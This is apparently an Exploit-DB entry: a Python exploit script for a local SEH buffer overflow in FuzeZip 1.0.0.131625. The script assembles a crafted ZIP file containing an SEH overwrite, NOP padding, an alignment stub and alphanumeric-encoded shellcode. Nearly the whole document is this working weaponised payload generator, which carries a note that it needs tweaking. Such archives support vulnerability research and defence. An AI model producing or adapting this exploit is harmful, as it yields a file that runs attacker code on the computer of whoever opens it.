FuzeZip 1.0.0.131625 – Local Buffer Overflow (SEH)
#!/usr/bin/python # Exploit Title: SEH BUFFER OVERFLOW IN FUZEZIP V.1.0 # Date: 16.Apr.2013 Vulnerability reported # Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon # Organization: RealPentesting # Vendor Homepage: http://fuzezip.com/ # Software Link: http://download.fuzezip.com/FuzeZipSetup.exe # Version: 1.0.0.131625 # Tested on: Windows 2003 Server Standard SP2 # Exploit-DB note: Needs tweaking tho ... header1 = ( "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E" "\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00" ) #0x003F 335C seh = "\x9a\x9f" nextsh = "\x58\x70" header_m = "\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\xBF\x17\x00\x00\x00\x00\x00\x00\x01\x00\x20\x08\x00\x00\x00\x00\x00\x00" header_f = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xED\x17\x00\x00\xEC\x17\x00\x00\x00\x00" venetian = ( "\x55\x55" "\x72" "\x58" "\x72" "\x05\x25\x11" "\x72" "\x2d\x11\x11" ) shellcode = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1" "AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS" "BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P" "TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ" "3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2" "QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY" "K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45" "2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B" "60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P" "KKK045M5WKQ7N3RRRORJM0QCKOHUA" ) print len(shellcode) payload = "\x90" * 818 + nextsh + seh + venetian + "\x90" * 109 + "\x72" + shellcode + "\x43" * 4323 buff = payload print len(payload) mefile = open('josep.zip','w') mefile.write(header1 + buff + header_m + buff + header_f) mefile.close() |